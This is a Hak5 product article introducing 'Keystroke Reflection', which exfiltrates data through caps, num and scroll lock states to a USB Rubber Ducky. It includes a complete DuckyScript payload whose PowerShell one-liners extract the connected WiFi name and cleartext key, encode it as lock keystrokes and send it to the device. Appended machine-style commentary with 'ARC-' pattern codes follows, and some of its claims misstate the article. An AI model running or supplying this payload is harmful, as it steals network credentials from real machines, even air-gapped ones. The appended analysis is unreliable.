Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning podcasts, leading pentest gear, and inclusive community – where all hackers belong.
August 08, 2022 5 min read
A revolutionary new side-channel exfiltration pathway that evades endpoint restrictions, firewalls and air-gaps.
Keystroke reflection exploits the defacto standard keyboard-computer architecture implemented by all IBM-PC compatibles since 1984 and adopted in usb-hid to provide a side-channel exfiltration pathway that impacts nearly all personal computers from the last 4 decades.
Using a one-liner of powershell, any file can be encoded into lock key sequences streamed across the bus and processed by the USB Rubber Ducky — no external binaries, drivers or utilities required.
Relying only on caps lock, num lock and scroll lock — all inherent to the HID keyboard architecture.
Computer keyboards are typically thought of as being essentially one-way communications peripherals, but this isn’t always the case.
There are actually methods for bi-directional communications, which may be taken advantage of using the USB Rubber Ducky.
In 1981 the "IBM Personal Computer" was introduced — the origins of the ubiquitous "PC" moniker. It featured an 83-key keyboard that was unique in the way it handled three significant keys.
Caps lock, num lock and scroll lock. Collectively, the lock keys. These toggle keys typically change the behavior of subsequent keypresses. As an example, pressing the caps lock key would make all letter keypresses uppercase. The lock key state would be indicated by a light on the keyboard.
At the time, the 1981 IBM-PC keyboard itself was responsible for maintaining the state of the lock keys and lighting the corresponding LED indicators. With the introduction of the IBM PC/AT in 1984, that task became the responsibility of the computer.
This fundamental change in computer-keyboard architecture carried over from early 1980's and 1990's keyboards, with their DIN and PS/2 connectors, to the de facto standard 104+ key keyboards of the modern USB era.
Today, keyboards implement the Human Interface Device (USB HID) specification. This calls for an "IN endpoint" for the communication of keystrokes from the keyboard to the computer, and an "OUT endpoint" for the communication of lock key LED states from the computer to the keyboard.
A set of HID codes for LED control (spec code page 08) define this communication. Often, these control codes are sent from the computer to the keyboard via the OUT endpoint when a computer starts. As an example, many computer BIOS (or EUFI) provide an option to enable num lock at boot. If enabled, the control code is sent to the keyboard when the computer powers on.
As another example, one may disable a lock key all together. On a Linux system, command line tools like xmodmap, setxkbmap and xdotool may be used to disable caps lock. Similarly, an edit to registry may perform a similar task on Windows systems.
In both cases the keyboard, naive to the attached computer's configuration, will still send the appropriate control code to the IN endpoint when the caps lock key is pressed. However, the computer may disregard the request and neglect to send the corresponding LED indication control code back to the keyboard via the OUT endpoint.
As demonstrated, a target may accept keystroke input from multiple HID devices. Put another way, all USB HID keyboard devices connected to a computer feature an IN endpoint, from which keystrokes from the keyboard may be sent to the target computer.
Similarly, all USB HID keyboards connected to the computer feature an OUT endpoint, to which the computer may send caps lock, num lock and scroll lock control codes for the purposes of controlling the appropriate lock key LED light.
This may be validated by connecting multiple USB keyboards to a computer. Press the caps lock key on one keyboard, and watch the caps lock indicator on all keyboards light up.
Due to the synchronous nature of the control code being sent to all USB HID OUT endpoints, the USB Rubber Ducky may perform systematic functions based on the state of the lock keys.
The USB Rubber Ducky features a USB HID OUT endpoint which may accept control codes for the purposes of toggling the lock key LED indicators.
In much the same way Keystroke Injection attacks take advantage of the keyboard-computer trust model, Keystroke Reflection attacks take advantage of the keyboard-computer architecture.
By taking advantage of this architecture, the USB Rubber Ducky may glean sensitive data by means of keystroke reflection, using the lock keys as an exfiltration pathway.
This may be particularly useful for performing exfiltration attacks against targets on air-gapped networks where traditional network medium exfiltration techniques are not viable.
Similarly, devices with strict endpoint device restrictions may be susceptible to Keystroke Reflection as it does not take advantage of well known physical medium exfiltration techniques.
Keystroke Reflection is a new side-channel exfiltration technique developed by Hak5 — the same organization that developed Keystroke Injection. With its debut on the new USB Rubber Ducky, it demonstrates a difficult to mitigate attack as it does not rely on a system weakness, rather the system design and implementation dating back to 1984.
Using Keystroke Reflection with DuckyScript, both files and variables may be stored on the USB Rubber Ducky storage without exposing the mass storage “flash drive” to the target computer.
The Keystroke Reflection attack consists of two phases. In the first phase — performed as part of a keystroke injection attack — the data of interest, or “loot”, is gathered from the target and encoded as lock keystrokes for reflection.
In the second phase, the USB Rubber Ducky enters Exfil Mode where it will act as a control code listener on the HID OUT endpoint. Then, the target reflects the encoded lock keystrokes. The binary values of the reflected, or “bit banged”, lock keys are stored as 1’s and 0’s in the loot.bin file on the USB Rubber Ducky.
REM Example Simple Keystroke Reflection Attack for Windows
REM Saves currently connected wireless LAN profile to DUCKY
ATTACKMODE HID
LED_OFF
DELAY 2000
SAVE_HOST_KEYBOARD_LOCK_STATE
$_EXFIL_MODE_ENABLED = TRUE
$_EXFIL_LEDS_ENABLED = TRUE
REM Store the currently connected WiFi SSID & Key to %tmp%\z
GUI r
DELAY 100
STRINGLN powershell "netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>$env:tmp\z"
DELAY 100
REM Convert the stored creds into CAPSLOCK and NUMLOCK values.
GUI r
DELAY 100
STRINGLN powershell "foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"
DELAY 100
REM Reflect the CAPSLOCK and NUMLOCK Keystrokes back to the Ducky.
GUI r
DELAY 100
STRINGLN powershell "$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"
DELAY 100
REM The final SCROLLLOCK keystroke indicates EXFIL is complete.
WAIT_FOR_SCROLL_CHANGE
LED_G
$_EXFIL_MODE_ENABLED = FALSE
RESTORE_HOST_KEYBOARD_LOCK_STATE
Pull off the most creative and complex hotplug attacks.
From movies and TV to the hearts and toolkits of cybersecurity pros the world over,
the USB Rubber Ducky is a hacker culture icon synonymous with the attack it invented.
Sign up to get the latest on sales, new releases and more …
Notify me when available
We will send you a notification as soon as this product is available again.
We don't share your email with anybody
Facts Only
* Founded in 2005 by Hak5.
* Mission is to advance the InfoSec industry.
* Exploits keyboard-computer architecture since 1984.
* Utilizes caps lock, num lock, and scroll lock keys.
* Employs USB Rubber Ducky for data exfiltration.
* Requires a PowerShell one-liner.
* Evades endpoint restrictions and air-gaps.
* Impacts nearly all personal computers from the last 4 decades.
* Relies on HID keyboard architecture.
* Leverages bidirectional communication capabilities.
* Introduced by Hak5, aiming to advance the InfoSec industry.
Executive Summary
Full Take
The article presents a fascinating and unsettling application of legacy technology—the fundamental architecture of early IBM-PC keyboards—as a novel attack vector. The core narrative centers on a sophisticated side-channel exfiltration method that sidesteps modern security controls. It’s a clever use of “foundational weakness,” as Hak5 describes it, exploiting a design choice made in 1984 that remains remarkably prevalent in contemporary systems. The use of the USB Rubber Ducky, acting as a malicious “control code listener,” is a deceptively simple yet potent implementation. This isn’t simply about finding a bug; it’s about recognizing and weaponizing an inherent feature of the technology itself – a system that, for decades, has operated under the assumption of one-way communication. We can detect a clear pattern here: a shift from focusing on vulnerabilities *within* systems to exploiting the underlying assumptions *about* systems. The article implicitly critiques a common oversight in security – a failure to consider the historical context of the technologies we rely on.
Furthermore, the inclusion of the 1981 IBM PC introduction and the evolution of keyboard architectures paints a compelling picture of accumulated risk. The slow, incremental adoption of HID standards, coupled with the continued prevalence of legacy keyboards, creates a surprisingly vulnerable landscape. The “loot” described - the capture of WiFi profiles – demonstrates a practical, immediately actionable threat. The technical details provided, including the PowerShell one-liner and the DuckyScript component, underscore the accessibility of this attack; it’s not reliant on specialized expertise beyond understanding the core concept. The fact that it’s being presented as an award-winning podcast and product launch by Hak5 suggests a calculated move to establish a market position in this emerging area of attack. It’s a compelling case study in how a seemingly outdated technology can still pose a serious threat. It also subtly implies that “security through obscurity” – relying on the unexamined assumptions of older systems – is a dangerous strategy.
The analysis reveals several relevant patterns. First, **ARC-0043 Motte-and-Bailey** – Hak5 presents the attack as a novel breakthrough, when in reality, it’s a repurposing of an existing architectural feature. Second, **ARC-0024 Ambiguity** – the description of the “bi-directional communication” capabilities is intentionally vague, blurring the lines between legitimate functionality and exploitable vulnerabilities. The inclusion of a PowerShell script illustrates a deliberate effort to lower the barrier to entry. The article’s overall goal is likely to generate interest in Hak5's products and services while simultaneously highlighting a critical security blind spot. The attack pattern detected, **ARC-0076 Systemic Decay** is present; the reliance on aging technology without adequate consideration of its long-term security implications. The question raised about “second-order consequences” reinforces this. Finally, **ARC-0017 Authority Game** – Hak5’s positioning as a leading innovator in InfoSec subtly elevates its own credibility.
Sentinel — Uncertain
This article reads like a technical explanation crafted by an AI, using repetitive phrasing, a rigid argumentative structure, and a reliance on verifiable historical details. The overall presentation lacks the distinctive voice and contextualization of a typical investigative journalist.